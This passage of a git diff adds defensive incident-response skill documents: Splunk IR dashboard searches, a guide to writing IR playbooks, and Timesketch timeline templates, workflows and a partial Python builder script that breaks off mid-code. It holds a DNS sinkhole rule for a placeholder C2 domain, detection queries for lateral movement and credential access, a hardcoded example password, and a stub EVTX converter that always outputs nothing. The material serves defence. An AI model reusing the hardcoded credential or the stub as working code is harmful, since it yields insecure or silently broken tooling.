+ +--- Trend comparison (this month vs last month) +index=notable earliest=-60d +| eval period = if(_time > relative_time(now(), "-30d"), "Current Month", "Previous Month") +| stats count by period, urgency +| chart sum(count) AS incidents by period, urgency + +--- Top threat categories +index=notable earliest=-30d +| top rule_name limit=10 +| table rule_name, count, percent +``` + +### Step 7: Automate Dashboard Updates + +Use Splunk scheduled searches to maintain dashboard data: + +```spl +--- Scheduled search to update affected systems lookup (runs every 5 minutes) +index=* (src_ip IN [| inputlookup ir_ioc_list.csv | search ioc_type="ip" + | fields ioc_value | rename ioc_value AS src_ip]) +earliest=-1h +| stats latest(_time) AS last_seen, count AS event_count, + values(sourcetype) AS data_sources by src_ip +| eval status = if(last_seen > relative_time(now(), "-15m"), "Active", "Dormant") +| outputlookup ir_affected_systems_auto.csv +``` + +## Key Concepts + +| Term | Definition | +|------|-----------| +| **Situational Awareness** | Real-time understanding of incident scope, affected systems, and response progress | +| **MTTD** | Mean Time to Detect — average time from threat occurrence to SOC alert generation | +| **MTTR** | Mean Time to Respond — average time from alert to incident resolution or containment | +| **Containment Rate** | Percentage of affected systems successfully isolated relative to total compromised systems | +| **Burn-Down Chart** | Visual tracking of remaining open investigation tasks over time during an incident | +| **Executive Briefing** | Non-technical summary dashboard showing business impact, timeline, and recovery status | + +## Tools & Systems + +- **Splunk Dashboard Studio**: Modern dashboard framework with drag-and-drop visualization and real-time data +- **Elastic Kibana Dashboard**: Visualization platform with Lens, Maps, and Canvas for security dashboards +- **Grafana**: Open-source visualization platform supporting multiple data sources including Elasticsearch and Splunk +- **Microsoft Sentinel Workbooks**: Azure-native dashboard framework with Kusto-based analytics visualization +- **TheHive**: Open-source incident response platform with built-in case tracking and metrics dashboards + +## Common Scenarios + +- **Active Ransomware Incident**: Dashboard showing encryption spread, containment status, backup verification, recovery progress +- **Data Breach Investigation**: Dashboard tracking affected data stores, exfiltration volume, notification requirements +- **Phishing Campaign Response**: Dashboard showing recipient count, click rate, credential exposure, remediation status +- **Monthly SOC Report**: Leadership dashboard with incident trends, MTTD/MTTR metrics, analyst performance +- **Compliance Audit**: Dashboard demonstrating detection coverage, response SLA compliance, and incident closure metrics + +## Output Format + +``` +INCIDENT RESPONSE DASHBOARD — IR-2024-0450 +━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +STATUS: CONTAINMENT PHASE (6h 30m elapsed) + +Affected Systems: Containment Progress: + Compromised: 2 [==========----------] 71% + Investigating: 1 5 of 7 systems contained + Contained: 3 + Recovered: 1 + +IOC Summary: Response Timeline: + IPs: 4 14:00 — Alert triggered + Domains: 2 14:12 — Confirmed malicious + Hashes: 3 14:23 — First host isolated + URLs: 5 15:00 — Enterprise scan started + Emails: 1 15:30 — 3 more hosts isolated + +Key Metrics: + MTTD: 12 minutes + MTTC: 23 minutes (first host) + Analysts Active: 3 (Tier 2: 2, Tier 3: 1) + +Business Impact: LOW — Finance file server offline, no customer-facing systems affected +``` diff --git a/skills/building-incident-response-playbook/SKILL.md b/skills/building-incident-response-playbook/SKILL.md new file mode 100644 index 00000000..1f07cc2e --- /dev/null +++ b/skills/building-incident-response-playbook/SKILL.md @@ -0,0 +1,253 @@ +--- +name: building-incident-response-playbook +description: > + Designs and documents structured incident response playbooks that define step-by-step + procedures for specific incident types aligned with NIST SP 800-61r3 and SANS PICERL + frameworks. Covers playbook structure, decision trees, escalation criteria, RACI matrices, + and integration with SOAR platforms. Activates for requests involving IR playbook creation, + incident response procedure documentation, response runbook development, or SOAR playbook + design. +domain: cybersecurity +subdomain: incident-response +tags: [IR-playbook, runbook, NIST-800-61, SOAR-integration, response-procedures] +version: 1.0.0 +author: mahipal +license: MIT +--- + +# Building Incident Response Playbooks + +## When to Use + +- Establishing or maturing an incident response program from scratch +- Documenting procedures for a new incident type after a novel attack +- Automating response workflows in a SOAR platform (Cortex XSOAR, Splunk SOAR) +- Preparing for compliance audits requiring documented IR procedures (SOC 2, PCI-DSS, HIPAA) +- Conducting a gap analysis of existing IR capabilities against specific threat scenarios + +**Do not use** for one-time ad hoc investigations; playbooks are reusable procedure documents, not case-specific reports. + +## Prerequisites + +- Organizational risk assessment identifying top incident scenarios by likelihood and impact +- NIST SP 800-61r3 or SANS PICERL framework adopted as the organizational IR standard +- Asset inventory with business criticality ratings and data classification +- RACI chart defining roles: Incident Commander, SOC analysts, system administrators, legal, communications +- Existing detection capabilities inventory (SIEM rules, EDR detections, IDS signatures) +- SOAR platform access if building automated playbooks + +## Workflow + +### Step 1: Select and Scope the Incident Type + +Define the specific scenario the playbook will address: + +- Identify the top incident types based on organizational risk assessment and historical data +- Scope each playbook to a single incident type for clarity (do not combine unrelated scenarios) +- Define trigger conditions that activate the playbook + +Common playbook types: +``` +Priority Playbooks (build first): +1. Ransomware incident response +2. Phishing/credential compromise +3. Business email compromise +4. Malware infection +5. Data breach/exfiltration +6. DDoS attack +7. Insider threat +8. Account takeover +9. Web application compromise +10. Cloud infrastructure compromise +``` + +### Step 2: Define the Playbook Structure + +Every playbook should follow a consistent structure: + +``` +PLAYBOOK TEMPLATE +━━━━━━━━━━━━━━━━ +1. Playbook Metadata + - Name, version, owner, last review date + - Trigger conditions + - Severity criteria + +2. RACI Matrix + - Who is Responsible, Accountable, Consulted, Informed for each step + +3. Detection & Triage + - How the incident is detected + - Initial triage checklist + - Severity classification criteria + +4. Containment + - Short-term containment actions + - Long-term containment actions + - Evidence preservation requirements + +5. Eradication + - Root cause identification + - Malware/threat removal steps + - Verification procedures + +6. Recovery + - System restoration steps + - Validation criteria + - Monitoring requirements post-recovery + +7. Post-Incident + - Lessons learned meeting trigger + - Report template + - Detection improvement actions + +8. Communication + - Internal notification matrix + - External notification requirements (regulators, customers, law enforcement) + - Status update cadence + +9. Appendices + - Tool-specific procedures + - Contact lists + - Evidence collection checklists +``` + +### Step 3: Write Decision Trees and Escalation Criteria + +Define clear decision points with binary outcomes: + +``` +Detection Alert Received +├── Is the alert a true positive? +│ ├── YES → Classify severity +│ │ ├── P1 (Critical) → Page incident commander, begin containment immediately +│ │ ├── P2 (High) → Notify IR lead, begin investigation within 30 min +│ │ ├── P3 (Medium) → Queue for investigation within 4 hours +│ │ └── P4 (Low) → Document and investigate within 24 hours +│ └── NO → Document as false positive, tune detection rule +└── Cannot determine → Escalate to Tier 2 for deeper analysis +``` + +Escalation triggers: +- Any P1 incident: Immediate escalation to IR lead and CISO +- Data exfiltration confirmed: Legal counsel and privacy officer notified +- Customer data involved: Customer notification process activated +- Third-party involvement: Vendor security contact engaged +- Law enforcement needed: General counsel authorizes before contact + +### Step 4: Define Specific Technical Procedures + +Write tool-specific instructions for each step (not generic guidance): + +``` +CONTAINMENT - Endpoint Isolation via CrowdStrike: +1. Open Falcon Console > Hosts > Search for affected hostname +2. Click on the host > Host Details +3. Click "Contain Host" button in upper right +4. Confirm isolation (host will only communicate with CrowdStrike cloud) +5. Document containment action in incident ticket with timestamp +6. Verify containment: Host should show "Contained" status badge + +CONTAINMENT - Block C2 Domain at DNS: +1. SSH to DNS server: ssh admin@dns-primary.corp.local +2. Add to block zone: echo "zone evil.com { type master; file /etc/bind/db.sinkhole; };" >> /etc/bind/named.conf.local +3. Reload DNS: rndc reload +4. Verify: dig @dns-primary evil.com (should resolve to sinkhole IP 10.0.0.99) +5. Document blocked domain in incident ticket +``` + +### Step 5: Integrate with SOAR Platform + +Convert manual playbook steps into automated workflows: + +- Map each playbook step to a SOAR action (API call, script, human decision point) +- Define automation boundaries (what runs automatically vs. what requires analyst approval) +- Build enrichment automations for the triage phase +- Create containment automations with approval gates for high-impact actions +- Configure notification automations for stakeholder communication + +### Step 6: Test and Maintain the Playbook + +Validate the playbook through exercises and maintain currency: + +- Conduct tabletop exercises with the IR team walking through the playbook +- Perform live-fire exercises simulating the incident type in a test environment +- Review and update after every real incident that uses the playbook +- Schedule quarterly reviews for accuracy of contact lists, tool procedures, and escalation paths +- Track playbook metrics: mean time to contain, mean time to resolve, false positive rate + +## Key Concepts + +| Term | Definition | +|------|------------| +| **Playbook** | Documented, repeatable set of procedures for responding to a specific incident type | +| **Runbook** | More granular than a playbook; step-by-step technical instructions for a specific task within a playbook | +| **RACI Matrix** | Responsibility assignment chart defining who is Responsible, Accountable, Consulted, and Informed for each activity | +| **Decision Tree** | Flowchart-based logic defining the response path based on binary conditions at each decision point | +| **Escalation Criteria** | Predefined conditions that trigger notification of higher-level personnel or external parties | +| **SOAR Playbook** | Automated workflow in a Security Orchestration, Automation, and Response platform executing playbook steps | + +## Tools & Systems + +- **Cortex XSOAR**: SOAR platform with visual playbook editor, 700+ integrations, and collaborative War Room +- **Splunk SOAR**: SOAR platform integrated with Splunk ES, drag-and-drop playbook builder with 2,800+ automated actions +- **TheHive**: Open-source incident response platform with case templates that function as playbook frameworks +- **Confluence / GitLab Wiki**: Documentation platforms for maintaining human-readable playbook documents with version control +- **Tines**: No-code security automation platform for building playbook workflows without programming + +## Common Scenarios + +### Scenario: Building a Phishing Response Playbook from Scratch + +**Context**: An organization with a 5-person SOC has no documented phishing response procedure. Analysts handle phishing reports inconsistently. + +**Approach**: +1. Interview SOC analysts to document their current ad hoc process +2. Define the trigger: user reports phishing email via abuse@ mailbox or phishing button +3. Write triage steps: extract email headers, check sender reputation, analyze URLs/attachments in sandbox +4. Define containment: quarantine email from all mailboxes, block sender domain, reset passwords if credentials entered +5. Build SOAR automation: auto-extract IOCs from reported email, enrich via VirusTotal, create case in TheHive +6. Test with simulated phishing email and measure response time improvement + +**Pitfalls**: +- Writing overly generic procedures that don't reference specific tool interfaces or commands +- Not including the communication plan for notifying users who received the phishing email +- Forgetting to define the criteria for when a phishing report becomes a full incident investigation +- Not versioning the playbook or scheduling regular review cycles + +## Output Format + +``` +INCIDENT RESPONSE PLAYBOOK +============================ +Playbook Name: Phishing Incident Response +Version: 2.1 +Owner: SOC Manager +Last Reviewed: 2025-11-01 +Next Review: 2026-02-01 +Trigger: Phishing email reported via abuse@corp.com or phish button + +RACI MATRIX +Activity | SOC L1 | SOC L2 | IR Lead | Legal | Comms +Initial Triage | R | C | I | | +Email Analysis | R | A | I | | +Containment | | R | A | I | +Credential Reset | | R | A | | +User Notification | | C | A | | R +Regulatory Notification | | | C | R | A +Lessons Learned | C | C | R | I | I + +PROCEDURE STEPS +[Detailed steps with tool-specific instructions] + +DECISION TREE +[Flowchart logic] + +ESCALATION MATRIX +[Conditions and contacts] + +METRICS +Target MTTA: 15 minutes +Target MTTC: 1 hour +Target MTTR: 4 hours +``` diff --git a/skills/building-incident-timeline-with-timesketch/SKILL.md b/skills/building-incident-timeline-with-timesketch/SKILL.md new file mode 100644 index 00000000..b8a0e532 --- /dev/null +++ b/skills/building-incident-timeline-with-timesketch/SKILL.md @@ -0,0 +1,229 @@ +--- +name: building-incident-timeline-with-timesketch +description: Build collaborative forensic incident timelines using Timesketch to ingest, normalize, and analyze multi-source event data for attack chain reconstruction and investigation documentation. +domain: cybersecurity +subdomain: incident-response +tags: [timesketch, timeline-analysis, forensic-timeline, plaso, dfir, incident-investigation, collaborative-forensics] +version: "1.0" +author: mahipal +license: MIT +--- + +# Building Incident Timeline with Timesketch + +## Overview + +Timesketch is an open-source collaborative forensic timeline analysis tool developed by Google that enables security teams to visualize and analyze chronological data from multiple sources during incident investigations. It ingests logs and artifacts from endpoints, servers, and cloud services, normalizes them into a unified searchable timeline, and provides powerful analysis capabilities including built-in analyzers, tagging, sketch annotations, and story building. Timesketch integrates with Plaso (log2timeline) for artifact parsing and supports direct CSV/JSONL ingestion for rapid timeline construction during active incidents. + +## Architecture and Components + +### Core Components +- **Timesketch Server**: Web application with REST API for timeline management +- **OpenSearch/Elasticsearch**: Backend storage and search engine for timeline events +- **PostgreSQL**: Metadata storage for sketches, stories, and user data +- **Redis**: Task queue management for background processing +- **Celery Workers**: Asynchronous processing of timeline uploads and analyzers + +### Data Flow +``` +Evidence Sources --> Plaso/log2timeline --> Plaso storage file (.plaso) + | | + v v + CSV/JSONL --> Timesketch Importer --> OpenSearch Index + | + v + Timesketch Web UI + (Search, Analyze, Story) +``` + +## Deployment + +### Docker Deployment (Recommended) +```bash +# Clone Timesketch repository +git clone https://github.com/google/timesketch.git +cd timesketch + +# Run deployment helper script +cd docker +sudo docker compose up -d + +# Default access: https://localhost:443 +# Admin credentials generated during first run +``` + +### System Requirements +- Minimum 8 GB RAM (16+ GB recommended for large investigations) +- 4 CPU cores minimum +- SSD storage for OpenSearch indices +- Docker and Docker Compose installed + +## Data Ingestion Methods + +### Method 1: Plaso Integration (Comprehensive) +```bash +# Process disk image with log2timeline +log2timeline.py --storage-file evidence.plaso /path/to/disk/image + +# Process Windows event logs +log2timeline.py --parsers winevtx --storage-file windows_events.plaso /path/to/evtx/ + +# Process multiple evidence sources +log2timeline.py --parsers "winevtx,prefetch,amcache,shimcache,userassist" \ + --storage-file full_analysis.plaso /path/to/mounted/image/ + +# Import Plaso file into Timesketch +timesketch_importer -s "Case-2025-001" -t "Endpoint-WKS01" evidence.plaso +``` + +### Method 2: CSV Import (Quick Ingestion) +```csv +message,datetime,timestamp_desc,source,hostname +"User login detected","2025-01-15T08:30:00Z","Event Recorded","Security Log","DC01" +"PowerShell execution","2025-01-15T08:31:15Z","Event Recorded","PowerShell","WKS042" +``` + +```bash +# Import CSV directly +timesketch_importer -s "Case-2025-001" -t "Quick-Triage" events.csv +``` + +### Method 3: JSONL Import (Structured Data) +```json +{"message": "Suspicious logon from 10.1.2.3", "datetime": "2025-01-15T08:30:00Z", "timestamp_desc": "Event Recorded", "source_short": "Security", "hostname": "DC01"} +``` + +### Method 4: Sigma Rule Integration +```bash +# Upload Sigma rules for automated detection +timesketch_importer --sigma-rules /path/to/sigma/rules/ +``` + +## Analysis Workflow + +### Step 1: Create Investigation Sketch +``` +1. Log into Timesketch web interface +2. Create new sketch (investigation case) +3. Add relevant timelines to the sketch +4. Set sketch description and tags +``` + +### Step 2: Run Built-in Analyzers +Timesketch includes analyzers that automatically identify: +- **Browser Search Analyzer**: Extracts search queries from browser history +- **Chain of Events Analyzer**: Links related events (download -> execute) +- **Domain Analyzer**: Extracts and categorizes domain names +- **Feature Extraction Analyzer**: Identifies IPs, URLs, hashes +- **Geo Location Analyzer**: Maps events to geographic locations +- **Similarity Scorer**: Finds similar events across timelines +- **Sigma Analyzer**: Matches events against Sigma detection rules +- **Account Finder**: Identifies user account activity patterns +- **Tagger**: Applies labels based on predefined rules + +### Step 3: Search and Filter +``` +# Search examples in Timesketch query language + +# Find all events related to specific user +source_short:Security AND message:"john.admin" + +# Find PowerShell execution events +data_type:"windows:evtx:record" AND event_identifier:4104 + +# Find lateral movement indicators +source_short:Security AND event_identifier:4624 AND xml_string:"LogonType\">3" + +# Find events within specific time range +datetime:[2025-01-15T00:00:00 TO 2025-01-15T23:59:59] + +# Find file creation events +data_type:"fs:stat" AND timestamp_desc:"Creation Time" + +# Search with tags +tag:"suspicious" OR tag:"lateral_movement" +``` + +### Step 4: Build Investigation Story +``` +1. Create new story within the sketch +2. Add search views that support each finding +3. Annotate key events with investigator notes +4. Link events to MITRE ATT&CK techniques +5. Document the attack narrative chronologically +6. Export story for inclusion in incident report +``` + +## Advanced Features + +### Collaborative Investigation +- Multiple analysts work on the same sketch simultaneously +- Comments and annotations persist on events +- Saved searches shared across the team +- Investigation stories document findings in context + +### API Automation +```python +from timesketch_api_client import config +from timesketch_api_client import client as ts_client + +# Connect to Timesketch +ts = ts_client.TimesketchApi( + host_uri="https://timesketch.local", + username="analyst", + password="password" +) + +# Get sketch +sketch = ts.get_sketch(1) + +# Search events +search = sketch.explore( + query_string='event_identifier:4624 AND LogonType:3', + return_fields='datetime,message,hostname,source_short' +) + +# Add tags to events +for event in search.get('objects', []): + sketch.tag_event(event['_id'], ['lateral_movement']) +``` + +### Integration with Dissect +```bash +# Use Dissect for faster artifact parsing (alternative to Plaso) +target-query -f timesketch://timesketch.local/case-001 \ + targets/hostname/ -q "windows.evtx" --limit 0 +``` + +## Key Data Sources for Timeline Building + +| Source | Parser | Evidence Value | +|--------|--------|---------------| +| Windows Event Logs (.evtx) | winevtx | Authentication, process execution, services | +| Prefetch Files | prefetch | Program execution history | +| MFT ($MFT) | mft | File system activity | +| Registry Hives | winreg | System configuration, persistence | +| Browser History | chrome/firefox | Web activity, downloads | +| Syslog | syslog | Linux/network device events | +| CloudTrail Logs | jsonl | AWS API activity | +| Azure Activity Logs | jsonl | Azure resource operations | +| Firewall Logs | csv/jsonl | Network connections | +| Proxy Logs | csv/jsonl | HTTP/HTTPS traffic | + +## MITRE ATT&CK Mapping + +| Technique | Timeline Indicators | +|-----------|-------------------| +| Initial Access (TA0001) | First malicious event, phishing email receipt | +| Execution (T1059) | PowerShell/CMD events, process creation | +| Persistence (TA0003) | Registry modifications, scheduled tasks, services | +| Lateral Movement (TA0008) | Remote logons, SMB connections, RDP sessions | +| Exfiltration (TA0010) | Large data transfers, cloud storage uploads | + +## References + +- [Timesketch Official Documentation](https://timesketch.org/) +- [Timesketch GitHub Repository](https://github.com/google/timesketch) +- [CISA Timesketch Resource](https://www.cisa.gov/resources-tools/services/timesketch) +- [Hunt and Hackett: Scalable Forensics with Dissect and Timesketch](https://www.huntandhackett.com/blog/scalable-forensics-timeline-analysis-using-dissect-and-timesketch) +- [Plaso (log2timeline) Documentation](https://plaso.readthedocs.io/) diff --git a/skills/building-incident-timeline-with-timesketch/assets/template.md b/skills/building-incident-timeline-with-timesketch/assets/template.md new file mode 100644 index 00000000..268919d8 --- /dev/null +++ b/skills/building-incident-timeline-with-timesketch/assets/template.md @@ -0,0 +1,79 @@ +# Forensic Timeline Investigation Report Template + +## Case Information + +| Field | Details | +|-------|---------| +| Case ID | | +| Sketch Name | | +| Lead Investigator | | +| Date Started | | +| Timesketch Instance | | +| Number of Timelines | | +| Total Events Indexed | | + +## Evidence Sources + +| Timeline Name | Source Type | Host/System | Events | Time Range | +|--------------|------------|-------------|--------|------------| +| | Windows EVTX | | | | +| | Plaso Full | | | | +| | Cloud Logs | | | | +| | Network Logs | | | | + +## Investigation Objectives + +1. [ ] Determine initial access vector +2. [ ] Identify compromised accounts +3. [ ] Map lateral movement paths +4. [ ] Identify persistence mechanisms +5. [ ] Determine data access and exfiltration +6. [ ] Establish complete attack timeline + +## Attack Timeline Summary + +| Time (UTC) | Event | Source | Host | ATT&CK Technique | Tags | +|------------|-------|--------|------|-------------------|------| +| | | | | | | + +## Key Findings + +### Finding 1: [Title] +- **Timesketch Search:** `[query string]` +- **Events:** [count] +- **Time Range:** [start] to [end] +- **Description:** [analysis] +- **Impact:** [assessment] + +## Analyzers Run + +| Analyzer | Results | Findings | +|----------|---------|----------| +| Sigma Rules | | | +| Domain Analyzer | | | +| Chain of Events | | | +| Feature Extraction | | | + +## Saved Views + +| View Name | Query | Purpose | +|-----------|-------|---------| +| | | | + +## IOC Summary + +### IP Addresses +### Domains +### File Hashes +### User Accounts + +## Recommendations + +1. +2. +3. + +## Appendix +- Timesketch sketch export +- Full query list +- Plaso parser configuration diff --git a/skills/building-incident-timeline-with-timesketch/references/standards.md b/skills/building-incident-timeline-with-timesketch/references/standards.md new file mode 100644 index 00000000..a32f0a34 --- /dev/null +++ b/skills/building-incident-timeline-with-timesketch/references/standards.md @@ -0,0 +1,44 @@ +# Standards and Frameworks for Timeline Analysis + +## NIST SP 800-86 - Guide to Integrating Forensic Techniques +- Provides guidelines for collecting, examining, and analyzing digital evidence +- Emphasizes importance of timeline reconstruction in incident investigation +- Defines evidence handling procedures for forensic analysis + +## SANS FOR508 - Advanced Incident Response, Threat Hunting, and Digital Forensics +- Super timeline creation methodology +- Evidence source prioritization for timeline building +- Plaso/log2timeline artifact parsing techniques +- Timeline analysis for APT detection + +## RFC 3339 / ISO 8601 - Timestamp Standardization +- Standard format for representing dates and times in timelines +- Timesketch normalizes all timestamps to UTC ISO 8601 format +- Ensures consistent chronological ordering across diverse sources + +## DFRWS (Digital Forensic Research Workshop) Standards +- Forensic timeline analysis research and best practices +- Timesketch presented at DFRWS conferences as reference implementation +- Evidence integrity and chain of custody in digital forensics + +## Plaso/log2timeline Documentation +- Official parser documentation for 200+ artifact types +- Filter file syntax for targeted evidence collection +- Output format specifications for Timesketch integration +- Reference: https://plaso.readthedocs.io/ + +## OpenSearch/Elasticsearch Indexing Standards +- Event storage and retrieval optimization +- Index lifecycle management for large investigations +- Query DSL for advanced timeline searching + +## Sigma Detection Standard +- Open signature format for SIEM systems +- Timesketch Sigma analyzer integration +- Community detection rules for common attack patterns +- Reference: https://github.com/SigmaHQ/sigma + +## MITRE ATT&CK Framework Integration +- Mapping timeline events to ATT&CK techniques +- Tactic-based timeline segmentation +- Attack chain reconstruction methodology diff --git a/skills/building-incident-timeline-with-timesketch/references/workflows.md b/skills/building-incident-timeline-with-timesketch/references/workflows.md new file mode 100644 index 00000000..385241e2 --- /dev/null +++ b/skills/building-incident-timeline-with-timesketch/references/workflows.md @@ -0,0 +1,155 @@ +# Timesketch Timeline Building Workflows + +## Workflow 1: Evidence Processing Pipeline + +``` +START: Evidence Collection Complete + | + v +[Mount Evidence / Extract Artifacts] + |-- Mount disk image (read-only) + |-- Extract event logs from triage package + |-- Collect cloud service logs + |-- Gather network device logs + | + v +[Process with Plaso/log2timeline] + |-- Select appropriate parsers + |-- Configure filter files for scope + |-- Run log2timeline on each source + |-- Verify output .plaso files + | + v +[Import into Timesketch] + |-- Create sketch for investigation + |-- Upload each timeline with descriptive name + |-- Wait for indexing to complete + |-- Verify event counts per timeline + | + v +[Run Automated Analyzers] + |-- Domain analyzer + |-- Sigma rule analyzer + |-- Chain of events analyzer + |-- Feature extraction analyzer + | + v +[Manual Analysis and Tagging] + |-- Search for key indicators + |-- Tag events by attack phase + |-- Add investigator annotations + |-- Build investigation story + | + v +END: Timeline Ready for Analysis +``` + +## Workflow 2: Rapid Triage Timeline + +``` +START: Incident Detected - Quick Timeline Needed + | + v +[Collect Quick-Win Artifacts] + |-- Windows Event Logs (Security, System, PowerShell) + |-- Prefetch files + |-- Browser history + |-- Recent file access (NTUSER.DAT) + | + v +[Fast Processing] + |-- Targeted Plaso parsers only + | (winevtx, prefetch, chrome_history) + |-- Or convert logs to CSV format + |-- Import directly into Timesketch + | + v +[Initial Analysis] + |-- Search for known IOCs + |-- Run Sigma analyzer for quick wins + |-- Identify suspicious time periods + |-- Tag initial findings + | + v +[Expand if Needed] + |-- Add additional evidence sources + |-- Run full parser set + |-- Broaden search scope + | + v +END: Initial Triage Complete +``` + +## Workflow 3: Multi-Source Correlation + +``` +START: Multiple Evidence Sources Available + | + v +[Normalize Timestamps] + |-- Ensure all sources use UTC + |-- Account for clock skew between systems + |-- Document any time synchronization issues + | + v +[Import All Sources as Separate Timelines] + |-- Timeline 1: Endpoint logs (Plaso) + |-- Timeline 2: Network logs (CSV) + |-- Timeline 3: Cloud logs (JSONL) + |-- Timeline 4: Email logs (CSV) + |-- Timeline 5: Firewall logs (CSV) + | + v +[Cross-Source Correlation] + |-- Search across all timelines simultaneously + |-- Identify same events seen from different perspectives + |-- Build complete picture of attacker activity + |-- Tag correlated events with shared labels + | + v +[Build Attack Narrative] + |-- Create story in Timesketch + |-- Link saved views for each attack phase + |-- Add context and analysis notes + |-- Export for final report + | + v +END: Correlated Timeline Analysis Complete +``` + +## Workflow 4: Collaborative Team Investigation + +``` +START: Investigation Assigned to Team + | + v +[Sketch Setup by Lead Investigator] + |-- Create sketch with case details + |-- Import initial timeline data + |-- Define investigation objectives + |-- Assign analysis areas to team members + | + v +[Parallel Analysis by Team] + |-- Analyst 1: Network traffic analysis + |-- Analyst 2: Endpoint artifact analysis + |-- Analyst 3: Cloud/identity analysis + |-- Each analyst tags and annotates findings + | + v +[Consolidation] + |-- Review all tagged events + |-- Resolve conflicting findings + |-- Build unified attack narrative + |-- Create investigation story + | + v +[Quality Review] + |-- Lead reviews complete timeline + |-- Verify attack chain is complete + |-- Ensure all IOCs documented + |-- Export findings for report + | + v +END: Team Investigation Complete +``` diff --git a/skills/building-incident-timeline-with-timesketch/scripts/process.py b/skills/building-incident-timeline-with-timesketch/scripts/process.py new file mode 100644 index 00000000..68b70195 --- /dev/null +++ b/skills/building-incident-timeline-with-timesketch/scripts/process.py @@ -0,0 +1,355 @@ +""" +Timesketch Timeline Builder Script +Automates creation, import, and analysis of forensic timelines in Timesketch. +""" + +import json +import csv +import os +import subprocess +from datetime import datetime, timedelta +from pathlib import Path + + +class TimesketchTimelineBuilder: + """Builds and manages forensic timelines using Timesketch.""" + + PLASO_PARSER_SETS = { + "quick_triage": "winevtx,prefetch,chrome_history,firefox_history", + "windows_full": "winevtx,prefetch,amcache,shimcache,userassist,mft,winreg,recycler,lnk", + "linux_full": "syslog,utmp,bash_history,cron,dpkg,selinux", + "network_focused": "winevtx,syslog", + "cloud_focused": "jsonl", + } + + SIGMA_CATEGORIES = { + "lateral_movement": [ + "event_identifier:4624 AND LogonType:3", + "event_identifier:4624 AND LogonType:10", + "event_identifier:5140", + ], + "privilege_escalation": [ + "event_identifier:4672", + "event_identifier:4728", + "event_identifier:4732", + ], + "execution": [ + "event_identifier:4688", + "event_identifier:4104", + "data_type:windows:prefetch:execution", + ], + "persistence": [ + "event_identifier:7045", + "event_identifier:4698", + "data_type:windows:registry:key_value", + ], + "credential_access": [ + "event_identifier:4768", + "event_identifier:4769", + "event_identifier:4776", + ], + } + + def __init__(self, timesketch_url=None, output_dir="timeline_output"): + self.timesketch_url = timesketch_url or "https://localhost" + self.output_dir = Path(output_dir) + self.output_dir.mkdir(parents=True, exist_ok=True) + self.timelines = [] + self.events = [] + + def process_evidence_with_plaso(self, evidence_path, output_plaso, parser_set="quick_triage"): + """Run log2timeline (Plaso) to process evidence into timeline format.""" + parsers = self.PLASO_PARSER_SETS.get(parser_set, parser_set) + + cmd = [ + "log2timeline.py", + "--parsers", parsers, + "--storage-file", str(output_plaso), + str(evidence_path), + ] + + print(f"[*] Running Plaso with parsers: {parsers}") + print(f"[*] Evidence: {evidence_path}") + print(f"[*] Output: {output_plaso}") + + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=3600) + if result.returncode == 0: + print("[+] Plaso processing completed successfully") + return True + else: + print(f"[!] Plaso error: {result.stderr[:500]}") + return False + except FileNotFoundError: + print("[!] log2timeline.py not found. Install Plaso: pip install plaso") + return False + except subprocess.TimeoutExpired: + print("[!] Plaso processing timed out after 1 hour") + return False + + def convert_evtx_to_csv(self, evtx_dir, output_csv): + """Convert Windows event logs to CSV format for direct Timesketch import.""" + events = [] + + for evtx_file in Path(evtx_dir).glob("*.evtx"): + print(f"[*] Processing: {evtx_file.name}") + # This would use python-evtx library in practice + # Placeholder for EVTX parsing logic + + # Write CSV in Timesketch format + fieldnames = ["message", "datetime", "timestamp_desc", "source_short", "hostname", "tag"] + + with open(output_csv, "w", newline="", encoding="utf-8") as f: + writer = csv.DictWriter(f, fieldnames=fieldnames) + writer.writeheader() + for event in events: + writer.writerow(event) + + print(f"[+] Wrote {len(events)} events to {output_csv}") + return output_csv + + def create_csv_timeline_from_logs(self, log_entries, timeline_name): + """Create a Timesketch-compatible CSV from structured log entries.""" + output_file = self.output_dir / f"{timeline_name}.csv" + + fieldnames = [ + "message", "datetime", "timestamp_desc", + "source_short", "hostname", "tag", + ] + + with open(output_file, "w", newline="", encoding="utf-8") as f: + writer = csv.DictWriter(f, fieldnames=fieldnames) + writer.writeheader() + + for entry in log_entries: + row = { + "message": entry.get("message", ""), + "datetime": entry.get("datetime", ""), + "timestamp_desc": entry.get("timestamp_desc", "Event Recorded"), + "source_short": entry.get("source", ""), + "hostname": entry.get("hostname", ""), + "tag": entry.get("tag", ""), + } + writer.writerow(row) + + print(f"[+] Created timeline CSV: {output_file} ({len(log_entries)} events)") + self.timelines.append({"name": timeline_name, "file": str(output_file)}) + return str(output_file) + + def create_jsonl_timeline(self, events, timeline_name): + """Create a Timesketch-compatible JSONL timeline.""" + output_file = self.output_dir / f"{timeline_name}.jsonl" + + with open(output_file, "w", encoding="utf-8") as f: + for event in events: + jsonl_event = { + "message": event.get("message", ""), + "datetime": event.get("datetime", ""), + "timestamp_desc": event.get("timestamp_desc", "Event Recorded"), + "source_short": event.get("source", ""), + "hostname": event.get("hostname", ""), + } + # Include any additional fields + for key, value in event.items(): + if key not in jsonl_event: + jsonl_event[key] = value + + f.write(json.dumps(jsonl_event) + "\n") + + print(f"[+] Created JSONL timeline: {output_file} ({len(events)} events)") + self.timelines.append({"name": timeline_name, "file": str(output_file)}) + return str(output_file) + + def import_to_timesketch(self, sketch_name, timeline_file, timeline_name): + """Import timeline file into Timesketch using the CLI importer.""" + cmd = [ + "timesketch_importer", + "-s", sketch_name, + "-t", timeline_name, + str(timeline_file), + ] + + print(f"[*] Importing {timeline_name} into sketch '{sketch_name}'") + + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=600) + if result.returncode == 0: + print(f"[+] Successfully imported {timeline_name}") + return True + else: + print(f"[!] Import error: {result.stderr[:500]}") + return False + except FileNotFoundError: + print("[!] timesketch_importer not found. Install: pip install timesketch-import-client") + return False + + def generate_search_queries(self, iocs=None): + """Generate Timesketch search queries for common investigation patterns.""" + queries = {} + + # Standard investigation queries + queries["lateral_movement"] = { + "query": 'event_identifier:4624 AND xml_string:"LogonType\\">3"', + "description": "Network logons indicating lateral movement", + } + queries["rdp_sessions"] = { + "query": 'event_identifier:4624 AND xml_string:"LogonType\\">10"', + "description": "RDP logon sessions", + } + queries["powershell_execution"] = { + "query": "event_identifier:4104 OR event_identifier:4103", + "description": "PowerShell script block logging events", + } + queries["process_creation"] = { + "query": "event_identifier:4688", + "description": "New process creation events", + } + queries["service_installation"] = { + "query": 